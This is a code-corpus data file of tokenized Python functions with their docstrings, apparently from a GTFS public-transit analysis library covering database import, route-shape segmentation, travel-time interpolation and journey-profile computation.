{"signature": "def insert_data(self, conn):", "body": "cur = conn.cursor()<EOL>csv_reader_generators, prefixes = self._get_csv_reader_generators()<EOL>for csv_reader, prefix in zip(csv_reader_generators, prefixes):<EOL><INDENT>try:<EOL><INDENT>row = next(iter(self.gen_rows([csv_reader], [prefix])))<EOL>fields = row.keys()<EOL><DEDENT>except StopIteration:<EOL><INDENT>print(\"<STR_LIT>\" % (self.fname, self.table, prefix))<EOL>continue<EOL><DEDENT>stmt = '''<STR_LIT>''' % (<EOL>self.table,<EOL>('<STR_LIT:U+002CU+0020>'.join([x for x in fields if x[<NUM_LIT:0>] != '<STR_LIT:_>'] + self.extra_keys)),<EOL>('<STR_LIT:U+002CU+0020>'.join([\"<STR_LIT::>\" + x for x in fields if x[<NUM_LIT:0>] != '<STR_LIT:_>'] + self.extra_values))<EOL>)<EOL>if self.print_progress:<EOL><INDENT>print('<STR_LIT>' % (self.fname, self.table, prefix))<EOL><DEDENT>from itertools import chain<EOL>rows = chain([row], self.gen_rows([csv_reader], [prefix]))<EOL>cur.executemany(stmt, rows)<EOL>conn.commit()<EOL><DEDENT>", "docstring": "Load data from GTFS file into database", "id": "f12857:c0:m8"}
{"signature": "def import_(self, conn):", "body": "if self.print_progress:<EOL><INDENT>print('<STR_LIT>', self.__class__.__name__)<EOL><DEDENT>self._conn = conn<EOL>self.create_table(conn)<EOL>if self.mode in ('<STR_LIT:all>', '<STR_LIT>') and self.fname and self.exists() and self.table not in ignore_tables:<EOL><INDENT>self.insert_data(conn)<EOL><DEDENT>if self.mode in ('<STR_LIT:all>', '<STR_LIT:index>') and hasattr(self, '<STR_LIT:index>'):<EOL><INDENT>self.create_index(conn)<EOL><DEDENT>if self.mode in ('<STR_LIT:all>', '<STR_LIT>') and hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.run_post_import(conn)<EOL><DEDENT>conn.commit()<EOL>", "docstring": "Do the actual import. Copy data and store in connection object.\n\n        This function:\n        - Creates the tables\n        - Imports data (using self.gen_rows)\n        - Run any post_import hooks.\n        - Creates any indexs\n        - Does *not* run self.make_views - those must be done\n          after all tables are loaded.", "id": "f12857:c0:m11"}
{"signature": "@classmethod<EOL><INDENT>def make_views(cls, conn):<DEDENT>", "body": "pass<EOL>", "docstring": "The make views should be run after all tables imported.", "id": "f12857:c0:m12"}
{"signature": "@classmethod<EOL><INDENT>def copy(cls, conn, **where):<DEDENT>", "body": "cur = conn.cursor()<EOL>if where and cls.copy_where:<EOL><INDENT>copy_where = cls.copy_where.format(**where)<EOL><DEDENT>else:<EOL><INDENT>copy_where = '<STR_LIT>'<EOL><DEDENT>cur.execute('<STR_LIT>'<EOL>'<STR_LIT>' % (cls.table, cls.table, copy_where))<EOL>", "docstring": "Copy data from one table to another while filtering data at the same time\n\n        Parameters\n        ----------\n        conn: sqlite3 DB connection.  It must have a second database\n            attached as \"other\".\n        **where : keyword arguments\n            specifying (start_ut and end_ut for filtering, see the copy_where clause in the subclasses)", "id": "f12857:c0:m13"}
{"signature": "@classmethod<EOL><INDENT>def make_views(cls, conn):<DEDENT>", "body": "conn.execute('<STR_LIT>')<EOL>conn.execute('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>conn.commit()<EOL>conn.execute('<STR_LIT>')<EOL>conn.execute('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>conn.commit()<EOL>", "docstring": "Create day_trips and day_stop_times views.\n\n        day_trips:  day_trips2 x trips  = days x trips\n        day_stop_times: day_trips2 x trips x stop_times = days x trips x stop_times", "id": "f12859:c0:m2"}
{"signature": "def createcolorbar(cmap, norm):", "body": "cax, kw = matplotlib.colorbar.make_axes(matplotlib.pyplot.gca())<EOL>c = matplotlib.colorbar.ColorbarBase(cax, cmap=cmap, norm=norm)<EOL>return c<EOL>", "docstring": "Create a colourbar with limits of lwr and upr", "id": "f12860:m3"}
{"signature": "def print_coords(rows, prefix='<STR_LIT>'):", "body": "lat = [row['<STR_LIT>'] for row in rows]<EOL>lon = [row['<STR_LIT>'] for row in rows]<EOL>print('<STR_LIT>'+'<STR_LIT:->' * <NUM_LIT:5>)<EOL>print(\"<STR_LIT>\" % (prefix, prefix, lat, lon))<EOL>print('<STR_LIT:->'*<NUM_LIT:5>)<EOL>", "docstring": "Print coordinates within a sequence.\n\n    This is only used for debugging.  Printed in a form that can be\n    pasted into Python for visualization.", "id": "f12861:m0"}
{"signature": "def find_segments(stops, shape):", "body": "if not shape:<EOL><INDENT>return [], <NUM_LIT:0><EOL><DEDENT>break_points = []<EOL>last_i = <NUM_LIT:0><EOL>cumul_d = <NUM_LIT:0><EOL>badness = <NUM_LIT:0><EOL>d_last_stop = float('<STR_LIT>')<EOL>lstlat, lstlon = None, None<EOL>break_shape_points = []<EOL>for stop in stops:<EOL><INDENT>stlat, stlon = stop['<STR_LIT>'], stop['<STR_LIT>']<EOL>best_d = float('<STR_LIT>')<EOL>if badness > <NUM_LIT> and badness > <NUM_LIT:30> * len(break_points):<EOL><INDENT>return [], badness<EOL><DEDENT>for i in range(last_i, len(shape)):<EOL><INDENT>d = wgs84_distance(stlat, stlon, shape[i]['<STR_LIT>'], shape[i]['<STR_LIT>'])<EOL>if lstlat:<EOL><INDENT>d_last_stop = wgs84_distance(lstlat, lstlon, shape[i]['<STR_LIT>'], shape[i]['<STR_LIT>'])<EOL><DEDENT>if d < best_d:<EOL><INDENT>best_d = d<EOL>best_i = i<EOL>cumul_d += d<EOL><DEDENT>if (d_last_stop < d) or (d > <NUM_LIT>) or (i < best_i + <NUM_LIT:100>):<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>badness += best_d<EOL>break_points.append(best_i)<EOL>last_i = best_i<EOL>lstlat, lstlon = stlat, stlon<EOL>break_shape_points.append(shape[best_i])<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>badness += best_d<EOL>break_points.append(best_i)<EOL>last_i = best_i<EOL>lstlat, lstlon = stlat, stlon<EOL>break_shape_points.append(shape[best_i])<EOL>pass<EOL><DEDENT><DEDENT>return break_points, badness<EOL>", "docstring": "Find corresponding shape points for a list of stops and create shape break points.\n\n    Parameters\n    ----------\n    stops: stop-sequence (list)\n        List of stop points\n    shape: list of shape points\n        shape-sequence of shape points\n\n    Returns\n    -------\n    break_points: list[int]\n        stops[i] corresponds to shape[break_points[i]].  This list can\n        be used to partition the shape points into segments between\n        one stop and the next.\n    badness: float\n        Lower indicates better fit to the shape.  This is the sum of\n        distances (in meters) between every each stop and its closest\n        shape point.  This is not needed in normal use, but in the\n        cases where you must determine the best-fitting shape for a\n        stop-sequence, use this.", "id": "f12861:m1"}
{"signature": "def find_best_segments(cur, stops, shape_ids, route_id=None,<EOL>breakpoints_cache=None):", "body": "cache_key = None<EOL>if breakpoints_cache is not None:<EOL><INDENT>cache_key = (route_id, tuple(x['<STR_LIT>'] for x in stops))<EOL>if cache_key in breakpoints_cache:<EOL><INDENT>print('<STR_LIT>')<EOL>return breakpoints_cache[cache_key]<EOL><DEDENT><DEDENT>if route_id is not None:<EOL><INDENT>cur.execute('''<STR_LIT>''',<EOL>(route_id,))<EOL>data = cur.fetchall()<EOL>if not data:<EOL><INDENT>print(\"<STR_LIT>\" % route_id)<EOL>return [], None, None, None<EOL><DEDENT>shape_ids = zip(*data)[<NUM_LIT:0>]<EOL><DEDENT>results = []<EOL>for shape_id in shape_ids:<EOL><INDENT>shape = get_shape_points(cur, shape_id)<EOL>breakpoints, badness = find_segments(stops, shape)<EOL>results.append([badness, breakpoints, shape, shape_id])<EOL>if len(stops) > <NUM_LIT:5> and badness < <NUM_LIT:5>*(len(stops)):<EOL><INDENT>break<EOL><DEDENT><DEDENT>best = np.argmin(zip(*results)[<NUM_LIT:0>])<EOL>badness = results[best][<NUM_LIT:0>]<EOL>breakpoints = results[best][<NUM_LIT:1>]<EOL>shape = results[best][<NUM_LIT:2>]<EOL>shape_id = results[best][<NUM_LIT:3>]<EOL>if breakpoints_cache is not None:<EOL><INDENT>print(\"<STR_LIT>\", cache_key[<NUM_LIT:0>], hash(cache_key[<NUM_LIT:1>:]))<EOL>breakpoints_cache[cache_key] = breakpoints, badness, shape, shape_id<EOL><DEDENT>return breakpoints, badness, shape, shape_id<EOL>", "docstring": "Finds the best shape_id for a stop-sequence.\n\n    This is used in cases like when you have GPS data with a route\n    name, but you don't know the route direction.  It tries shapes\n    going both directions and returns the shape that best matches.\n    Could be used in other cases as well.\n\n    Parameters\n    ----------\n    cur : sqlite3.Cursor\n        database cursor\n    stops : list\n    shape_ids : list of shape_id:s\n    route_id : route_id to search for stops\n    breakpoints_cache : dict\n        If given, use this to cache results from this function.", "id": "f12861:m2"}
{"signature": "def return_segments(shape, break_points):", "body": "<EOL>segs = []<EOL>bp = <NUM_LIT:0> <EOL>bp2 = <NUM_LIT:0><EOL>for i in range(len(break_points)-<NUM_LIT:1>):<EOL><INDENT>bp = break_points[i] if break_points[i] is not None else bp2<EOL>bp2 = break_points[i+<NUM_LIT:1>] if break_points[i+<NUM_LIT:1>] is not None else bp<EOL>segs.append(shape[bp:bp2+<NUM_LIT:1>])<EOL><DEDENT>segs.append([])<EOL>return segs<EOL>", "docstring": "Break a shape into segments between stops using break_points.\n\n    This function can use the `break_points` outputs from\n    `find_segments`, and cuts the shape-sequence into pieces\n    corresponding to each stop.", "id": "f12861:m3"}
{"signature": "def gen_cumulative_distances(stops):", "body": "stops[<NUM_LIT:0>]['<STR_LIT:d>'] = <NUM_LIT:0.0><EOL>for i in range(<NUM_LIT:1>, len(stops)):<EOL><INDENT>stops[i]['<STR_LIT:d>'] = stops[i-<NUM_LIT:1>]['<STR_LIT:d>'] + wgs84_distance(<EOL>stops[i-<NUM_LIT:1>]['<STR_LIT>'], stops[i-<NUM_LIT:1>]['<STR_LIT>'],<EOL>stops[i]['<STR_LIT>'], stops[i]['<STR_LIT>'],<EOL>)<EOL><DEDENT>for stop in stops:<EOL><INDENT>stop['<STR_LIT:d>'] = int(stop['<STR_LIT:d>'])<EOL><DEDENT>", "docstring": "Add a 'd' key for distances to a stop/shape-sequence.\n\nThis takes a shape-sequence or stop-sequence, and adds an extra\n'd' key that is cumulative, geographic distances between each\npoint. This uses `wgs84_distance` from the util module.  The\ndistances are in meters.  Distances are rounded to the nearest\ninteger, because otherwise JSON size increases greatly.\n\nParameters\n----------\nstops: list\n    elements are dicts with 'lat' and 'lon' keys\n    and the function adds the 'd' key ('d' stands for distance)\n    to the dictionaries", "id": "f12861:m4"}
{"signature": "def get_shape_points(cur, shape_id):", "body": "cur.execute('''<STR_LIT>''', (shape_id,))<EOL>shape_points = [dict(seq=row[<NUM_LIT:0>], lat=row[<NUM_LIT:1>], lon=row[<NUM_LIT:2>], d=row[<NUM_LIT:3>])<EOL>for row in cur]<EOL>return shape_points<EOL>", "docstring": "Given a shape_id, return its shape-sequence.\n\nParameters\n----------\ncur: sqlite3.Cursor\n    cursor to a GTFS database\nshape_id: str\n    id of the route\n\nReturns\n-------\nshape_points: list\n    elements are dictionaries containing the 'seq', 'lat', and 'lon' of the shape", "id": "f12861:m5"}
{"signature": "def get_shape_points2(cur, shape_id):", "body": "cur.execute('''<STR_LIT>''', (shape_id,))<EOL>shape_points = {'<STR_LIT>': [], '<STR_LIT>':  [], '<STR_LIT>': [], '<STR_LIT:d>': []}<EOL>for row in cur:<EOL><INDENT>shape_points['<STR_LIT>'].append(row[<NUM_LIT:0>])<EOL>shape_points['<STR_LIT>'].append(row[<NUM_LIT:1>])<EOL>shape_points['<STR_LIT>'].append(row[<NUM_LIT:2>])<EOL>shape_points['<STR_LIT:d>'].append(row[<NUM_LIT:3>])<EOL><DEDENT>return shape_points<EOL>", "docstring": "Given a shape_id, return its shape-sequence (as a dict of lists).\nget_shape_points function returns them as a list of dicts\n\nParameters\n----------\ncur: sqlite3.Cursor\n    cursor to a GTFS database\nshape_id: str\n    id of the route\n\nReturns\n-------\nshape_points: dict of lists\n    dict contains keys 'seq', 'lat', 'lon', and 'd'(istance) of the shape", "id": "f12861:m6"}
{"signature": "def get_route_shape_segments(cur, route_id):", "body": "cur.execute('''<STR_LIT>''', (route_id,))<EOL>shape_points = [dict(seq=row[<NUM_LIT:0>], lat=row[<NUM_LIT:1>], lon=row[<NUM_LIT:2>]) for row in cur]<EOL>return shape_points<EOL>", "docstring": "Given a route_id, return its stop-sequence.\n\nParameters\n----------\ncur: sqlite3.Cursor\n    cursor to a GTFS database\nroute_id: str\n    id of the route\n\nReturns\n-------\nshape_points: list\n    elements are dictionaries containing the 'seq', 'lat', and 'lon' of the shape", "id": "f12861:m7"}
{"signature": "def get_shape_between_stops(cur, trip_I, seq_stop1=None, seq_stop2=None, shape_breaks=None):", "body": "assert (seq_stop1 and seq_stop2) or shape_breaks<EOL>if not shape_breaks:<EOL><INDENT>shape_breaks = []<EOL>for seq_stop in [seq_stop1, seq_stop2]:<EOL><INDENT>query = \"\"\"<STR_LIT>\"\"\" % (trip_I, seq_stop)<EOL>for row in cur.execute(query):<EOL><INDENT>shape_breaks.append(row[<NUM_LIT:0>])<EOL><DEDENT><DEDENT><DEDENT>assert len(shape_breaks) == <NUM_LIT:2><EOL>query = \"\"\"<STR_LIT>\"\"\" % (trip_I, shape_breaks[<NUM_LIT:0>], shape_breaks[<NUM_LIT:1>])<EOL>shapedict = {'<STR_LIT>': [], '<STR_LIT>': [], '<STR_LIT>': []}<EOL>for row in cur.execute(query):<EOL><INDENT>shapedict['<STR_LIT>'].append(row[<NUM_LIT:0>])<EOL>shapedict['<STR_LIT>'].append(row[<NUM_LIT:1>])<EOL>shapedict['<STR_LIT>'].append(row[<NUM_LIT:2>])<EOL><DEDENT>return shapedict<EOL>", "docstring": "Given a trip_I (shortened id), return shape points between two stops\n(seq_stop1 and seq_stop2).\n\nTrip_I is used for matching obtaining the full shape of one trip (route).\nFrom the resulting shape we then obtain only shape points between\nstop_seq1 and stop_seq2\ntrip_I---(trips)--->shape_id\ntrip_I, seq_stop1----(stop_times)---> shape_break1\ntrip_I, seq_stop2----(stop_times)---> shape_break2\nshapes_id+shape_break1+shape_break2 --(shapes)--> result\n\nParameters\n----------\ncur : sqlite3.Cursor\n    cursor to sqlite3 DB containing GTFS\ntrip_I : int\n    transformed trip_id (i.e. a new column that is created when\n    GTFS is imported to a DB)\nseq_stop1: int\n    a positive inger describing the index of the point of the shape that\n    corresponds to the first stop\nseq_stop2: int\n    a positive inger describing the index of the point of the shape that\n    corresponds to the second stop\nshape_breaks: ??\n\nReturns\n-------\nshapedict: dict\n    Dictionary containing the latitudes and longitudes:\n        lats=shapedict['lat']\n        lons=shapedict['lon']", "id": "f12861:m8"}
{"signature": "def get_trip_points(cur, route_id, offset=<NUM_LIT:0>, tripid_glob='<STR_LIT>'):", "body": "extra_where = '<STR_LIT>'<EOL>if tripid_glob:<EOL><INDENT>extra_where = \"<STR_LIT>\" % tripid_glob<EOL><DEDENT>cur.execute('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % extra_where, (route_id, offset))<EOL>stop_points = [dict(seq=row[<NUM_LIT:0>], lat=row[<NUM_LIT:1>], lon=row[<NUM_LIT:2>]) for row in cur]<EOL>return stop_points<EOL>", "docstring": "Get all scheduled stops on a particular route_id.\n\n    Given a route_id, return the trip-stop-list with\n    latitude/longitudes.  This is a bit more tricky than it seems,\n    because we have to go from table route->trips->stop_times.  This\n    functions finds an arbitrary trip (in trip table) with this route ID\n    and, and then returns all stop points for that trip.\n\n    Parameters\n    ----------\n    cur : sqlite3.Cursor\n        cursor to sqlite3 DB containing GTFS\n    route_id : string or any\n        route_id to get stop points of\n    offset : int\n        LIMIT offset if you don't want the first trip returned.\n    tripid_glob : string\n        If given, allows you to limit tripids which can be selected.\n        Mainly useful in debugging.\n\n    Returns\n    -------\n    stop-list\n        List of stops in stop-seq format.", "id": "f12861:m9"}
{"signature": "def interpolate_shape_times(shape_distances, shape_breaks, stop_times):", "body": "shape_times = np.zeros(len(shape_distances))<EOL>shape_times[:shape_breaks[<NUM_LIT:0>]] = stop_times[<NUM_LIT:0>]<EOL>for i in range(len(shape_breaks)-<NUM_LIT:1>):<EOL><INDENT>cur_break = shape_breaks[i]<EOL>cur_time = stop_times[i]<EOL>next_break = shape_breaks[i+<NUM_LIT:1>]<EOL>next_time = stop_times[i+<NUM_LIT:1>]<EOL>if cur_break == next_break:<EOL><INDENT>shape_times[cur_break] = stop_times[i]<EOL><DEDENT>else:<EOL><INDENT>cur_distances = shape_distances[cur_break:next_break+<NUM_LIT:1>]<EOL>norm_distances = ((np.array(cur_distances)-float(cur_distances[<NUM_LIT:0>])) /<EOL>float(cur_distances[-<NUM_LIT:1>] - cur_distances[<NUM_LIT:0>]))<EOL>times = (<NUM_LIT:1.>-norm_distances)*cur_time+norm_distances*next_time<EOL>shape_times[cur_break:next_break] = times[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>shape_times[shape_breaks[-<NUM_LIT:1>]:] = stop_times[-<NUM_LIT:1>]<EOL>return list(shape_times)<EOL>", "docstring": "Interpolate passage times for shape points.\n\nParameters\n----------\nshape_distances: list\n    list of cumulative distances along the shape\nshape_breaks: list\n    list of shape_breaks\nstop_times: list\n    list of stop_times\n\nReturns\n-------\nshape_times: list of ints (seconds) / numpy array\n    interpolated shape passage times\n\nThe values of stop times before the first shape-break are given the first\nstopping time, and the any shape points after the last break point are\ngiven the value of the last shape point.", "id": "f12861:m10"}
{"signature": "def get_convex_hull_coordinates(gtfs):", "body": "lons, lats = _get_stop_lat_lons(gtfs)<EOL>lon_lats = list(zip(lons, lats))<EOL>polygon = MultiPoint(lon_lats).convex_hull<EOL>hull_lons, hull_lats= polygon.exterior.coords.xy<EOL>return hull_lats, hull_lons<EOL>", "docstring": "Parameters\n----------\ngtfs: gtfs.GTFS\n\nReturns\n-------\nlons: list\n    of floats\nlats: list\n    of floats", "id": "f12863:m0"}
{"signature": "def get_buffered_area_of_stops(gtfs, buffer_meters, resolution):", "body": "lons, lats = _get_stop_lat_lons(gtfs)<EOL>a = compute_buffered_area_of_stops(lats, lons, buffer_meters, resolution)<EOL>return a<EOL>", "docstring": "Compute the total area of all buffered stops in PT network.\n\nParameters\n----------\ngtfs: gtfs.GTFS\nbuffer_meters: meters around the stop to buffer.\nresolution: increases the accuracy of the calculated area with computation time. Default = 16 \n\nReturns\n-------\nTotal area covered by the buffered stops in square meters.", "id": "f12863:m5"}
{"signature": "def __init__(self, gtfs, start_time_ut, lat, lon, max_duration_ut, min_transfer_time=<NUM_LIT:30>,<EOL>shapes=True, walk_speed=<NUM_LIT:0.5>):", "body": "self.gtfs = gtfs<EOL>self.start_time_ut = start_time_ut<EOL>self.lat = lat<EOL>self.lon = lon<EOL>self.max_duration_ut = max_duration_ut<EOL>self.min_transfer_time = min_transfer_time<EOL>self.shapes = shapes<EOL>self.event_heap = None<EOL>self.walk_speed = walk_speed<EOL>self._uninfected_stops = None<EOL>self._stop_I_to_spreading_stop = None<EOL>self._initialized = False<EOL>self._has_run = False<EOL>", "docstring": "Parameters\n----------\ngtfs: GTFS\n    the underlying GTFS (database) connection for getting data\nstart_time_ut: number\n    Start time of the spreading.\nlat: float\n    latitude of the spreading seed location\nlon: float\n    longitude of the spreading seed location\nmax_duration_ut: int\n    maximum duration of the spreading process (in seconds)\nmin_transfer_time : int\n    minimum transfer time in seconds\nshapes : bool\n    whether to include shapes", "id": "f12864:c0:m0"}
{"signature": "def _run(self):", "body": "if self._has_run:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>i = <NUM_LIT:1><EOL>while self.event_heap.size() > <NUM_LIT:0> and len(self._uninfected_stops) > <NUM_LIT:0>:<EOL><INDENT>event = self.event_heap.pop_next_event()<EOL>this_stop = self._stop_I_to_spreading_stop[event.from_stop_I]<EOL>if event.arr_time_ut > self.start_time_ut + self.max_duration_ut:<EOL><INDENT>break<EOL><DEDENT>if this_stop.can_infect(event):<EOL><INDENT>target_stop = self._stop_I_to_spreading_stop[event.to_stop_I]<EOL>already_visited = target_stop.has_been_visited()<EOL>target_stop.visit(event)<EOL>if not already_visited:<EOL><INDENT>self._uninfected_stops.remove(event.to_stop_I)<EOL>print(i, self.event_heap.size())<EOL>transfer_distances = self.gtfs.get_straight_line_transfer_distances(event.to_stop_I)<EOL>self.event_heap.add_walk_events_to_heap(transfer_distances, event, self.start_time_ut,<EOL>self.walk_speed, self._uninfected_stops,<EOL>self.max_duration_ut)<EOL>i += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>self._has_run = True<EOL>", "docstring": "Run the actual simulation.", "id": "f12864:c0:m3"}
{"signature": "def get_min_visit_time(self):", "body": "if not self.visit_events:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return min(self.visit_events, key=lambda event: event.arr_time_ut).arr_time_ut<EOL><DEDENT>", "docstring": "Get the earliest visit time of the stop.", "id": "f12865:c0:m1"}
{"signature": "def visit(self, event):", "body": "to_visit = False<EOL>if event.arr_time_ut <= self.min_transfer_time+self.get_min_visit_time():<EOL><INDENT>to_visit = True<EOL><DEDENT>else:<EOL><INDENT>for ve in self.visit_events:<EOL><INDENT>if (event.trip_I == ve.trip_I) and event.arr_time_ut < ve.arr_time_ut:<EOL><INDENT>to_visit = True<EOL><DEDENT><DEDENT><DEDENT>if to_visit:<EOL><INDENT>self.visit_events.append(event)<EOL>min_time = self.get_min_visit_time()<EOL>self.visit_events = [v for v in self.visit_events if v.arr_time_ut <= min_time+self.min_transfer_time]<EOL><DEDENT>return to_visit<EOL>", "docstring": "Visit the stop if it has not been visited already by an event with\nearlier arr_time_ut (or with other trip that does not require a transfer)\n\nParameters\n----------\nevent : Event\n    an instance of the Event (namedtuple)\n\nReturns\n-------\nvisited : bool\n    if visit is stored, returns True, otherwise False", "id": "f12865:c0:m3"}
{"signature": "def can_infect(self, event):", "body": "if event.from_stop_I != self.stop_I:<EOL><INDENT>return False<EOL><DEDENT>if not self.has_been_visited():<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>time_sep = event.dep_time_ut-self.get_min_visit_time()<EOL>if (time_sep >= self.min_transfer_time) or (event.trip_I == -<NUM_LIT:1> and time_sep >= <NUM_LIT:0>):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>for visit in self.visit_events:<EOL><INDENT>if (event.trip_I == visit.trip_I) and (time_sep >= <NUM_LIT:0>):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL><DEDENT>", "docstring": "Whether the spreading stop can infect using this event.", "id": "f12865:c0:m5"}
{"signature": "def __init__(self, pd_df=None):", "body": "self.heap = []<EOL>keys = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>n = len(pd_df)<EOL>key_to_j = {}<EOL>for j, key in enumerate(pd_df.columns.values):<EOL><INDENT>key_to_j[key] = j<EOL><DEDENT>pd_df_values = pd_df.values<EOL>for i in range(n):<EOL><INDENT>vals = []<EOL>for key in keys:<EOL><INDENT>j = key_to_j[key]<EOL>vals.append(pd_df_values[i, j])<EOL><DEDENT>e = Event(*vals)<EOL>self.add_event(e)<EOL><DEDENT>", "docstring": "Parameters\n----------\npd_df : Pandas.Dataframe\n    Initial list of", "id": "f12866:c0:m0"}
{"signature": "def add_event(self, event):", "body": "assert event.dep_time_ut <= event.arr_time_ut<EOL>heappush(self.heap, event)<EOL>", "docstring": "Add an event to the heap/priority queue\n\nParameters\n----------\nevent : Event", "id": "f12866:c0:m1"}
{"signature": "def size(self):", "body": "return len(self.heap)<EOL>", "docstring": "Return the size of the heap", "id": "f12866:c0:m3"}
{"signature": "def add_walk_events_to_heap(self, transfer_distances, e, start_time_ut, walk_speed, uninfected_stops, max_duration_ut):", "body": "n = len(transfer_distances)<EOL>dists_values = transfer_distances.values<EOL>to_stop_I_index = np.nonzero(transfer_distances.columns == '<STR_LIT>')[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>d_index = np.nonzero(transfer_distances.columns == '<STR_LIT:d>')[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>for i in range(n):<EOL><INDENT>transfer_to_stop_I = dists_values[i, to_stop_I_index]<EOL>if transfer_to_stop_I in uninfected_stops:<EOL><INDENT>d = dists_values[i, d_index]<EOL>transfer_arr_time = e.arr_time_ut + int(d/float(walk_speed))<EOL>if transfer_arr_time > start_time_ut+max_duration_ut:<EOL><INDENT>continue<EOL><DEDENT>te = Event(transfer_arr_time, e.arr_time_ut, e.to_stop_I, transfer_to_stop_I, WALK)<EOL>self.add_event(te)<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n----------\ntransfer_distances:\ne : Event\nstart_time_ut : int\nwalk_speed : float\nuninfected_stops : list\nmax_duration_ut : int", "id": "f12866:c0:m4"}
{"signature": "def timeit(method):", "body": "def timed(*args, **kw):<EOL><INDENT>time_start = time.time()<EOL>result = method(*args, **kw)<EOL>time_end = time.time()<EOL>print('<STR_LIT>' % (method.__name__, time_end-time_start, str(args)[:<NUM_LIT:20>], kw))<EOL>return result<EOL><DEDENT>return timed<EOL>", "docstring": "A Python decorator for printing out the execution time for a function.\n\nAdapted from:\nwww.andreas-jung.com/contents/a-python-decorator-for-measuring-the-execution-time-of-methods", "id": "f12868:m0"}
{"signature": "def get_run_time(self):", "body": "assert self._has_run<EOL>return self._run_time<EOL>", "docstring": "Returns\n-------\nrun_time: float\n    running time of the algorithm in seconds", "id": "f12869:c0:m3"}
{"signature": "def update_pareto_optimal_tuples(self, new_pareto_tuple):", "body": "if new_pareto_tuple.duration() > self._walk_to_target_duration:<EOL><INDENT>direct_walk_label = self._label_class.direct_walk_label(new_pareto_tuple.departure_time,<EOL>self._walk_to_target_duration)<EOL>if not direct_walk_label.dominates(new_pareto_tuple):<EOL><INDENT>raise<EOL><DEDENT><DEDENT>direct_walk_label = self._label_class.direct_walk_label(new_pareto_tuple.departure_time, self._walk_to_target_duration)<EOL>if direct_walk_label.dominates(new_pareto_tuple):<EOL><INDENT>return False<EOL><DEDENT>if self._new_paretotuple_is_dominated_by_old_tuples(new_pareto_tuple):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>self._remove_old_tuples_dominated_by_new_and_insert_new_paretotuple(new_pareto_tuple)<EOL>return True<EOL><DEDENT>", "docstring": "# this function should be optimized\n\nParameters\n----------\nnew_pareto_tuple: LabelTimeSimple\n\nReturns\n-------\nadded: bool\n    whether new_pareto_tuple was added to the set of pareto-optimal tuples", "id": "f12870:c0:m2"}
{"signature": "def evaluate_earliest_arrival_time_at_target(self, dep_time, transfer_margin):", "body": "minimum = dep_time + self._walk_to_target_duration<EOL>dep_time_plus_transfer_margin = dep_time + transfer_margin<EOL>for label in self._labels:<EOL><INDENT>if label.departure_time >= dep_time_plus_transfer_margin and label.arrival_time_target < minimum:<EOL><INDENT>minimum = label.arrival_time_target<EOL><DEDENT><DEDENT>return float(minimum)<EOL>", "docstring": "Get the earliest arrival time at the target, given a departure time.\n\nParameters\n----------\ndep_time : float, int\n    time in unix seconds\ntransfer_margin: float, int\n    transfer margin in seconds\n\nReturns\n-------\narrival_time : float\n    Arrival time in the given time unit (seconds after unix epoch).", "id": "f12870:c0:m5"}
{"signature": "def _truncate_colormap(cmap, minval=<NUM_LIT:0.0>, maxval=<NUM_LIT:1.0>, n=<NUM_LIT:100>):", "body": "new_cmap = LinearSegmentedColormap.from_list(<EOL>'<STR_LIT>'.format(n=cmap.name, a=minval, b=maxval),<EOL>cmap(numpy.linspace(minval, maxval, n))<EOL>)<EOL>return new_cmap<EOL>", "docstring": "Truncates a colormap to use.\nCode originall from http://stackoverflow.com/questions/18926031/how-to-extract-a-subset-of-a-colormap-as-a-new-colormap-in-matplotlib", "id": "f12871:m2"}
{"signature": "def __init__(self, labels, walk_to_target_duration, start_time_dep, end_time_dep):", "body": "self._node_profile_final_labels = labels<EOL>self.start_time_dep = start_time_dep<EOL>self.end_time_dep = end_time_dep<EOL>self.all_labels = [label for label in self._node_profile_final_labels if<EOL>(start_time_dep <= label.departure_time <= end_time_dep)]<EOL>after_label_candidates = [label for label in self._node_profile_final_labels if<EOL>(label.departure_time > self.end_time_dep)]<EOL>after_label_candidates.sort(key=lambda el: (el.arrival_time_target, el.n_boardings))<EOL>min_n_boardings_observed = float('<STR_LIT>')<EOL>after_labels = []<EOL>for candidate_after_label in after_label_candidates:<EOL><INDENT>if candidate_after_label.n_boardings < min_n_boardings_observed:<EOL><INDENT>after_labels.append(candidate_after_label)<EOL>min_n_boardings_observed = candidate_after_label.n_boardings<EOL><DEDENT><DEDENT>self.all_labels.extend(after_labels)<EOL>if len(after_labels) is <NUM_LIT:0>:<EOL><INDENT>self._labels_within_time_frame = self.all_labels<EOL><DEDENT>else:<EOL><INDENT>self._labels_within_time_frame = self.all_labels[:-len(after_labels)]<EOL><DEDENT>self._walk_to_target_duration = walk_to_target_duration<EOL>self._n_boardings_to_simple_time_analyzers = {}<EOL>self._transfers_on_fastest_paths_analyzer = self._get_transfers_on_fastest_path_analyzer()<EOL>", "docstring": "Initialize the data structures required by\n\nParameters\n----------\nnode_profile: NodeProfileMultiObjective", "id": "f12871:c0:m1"}
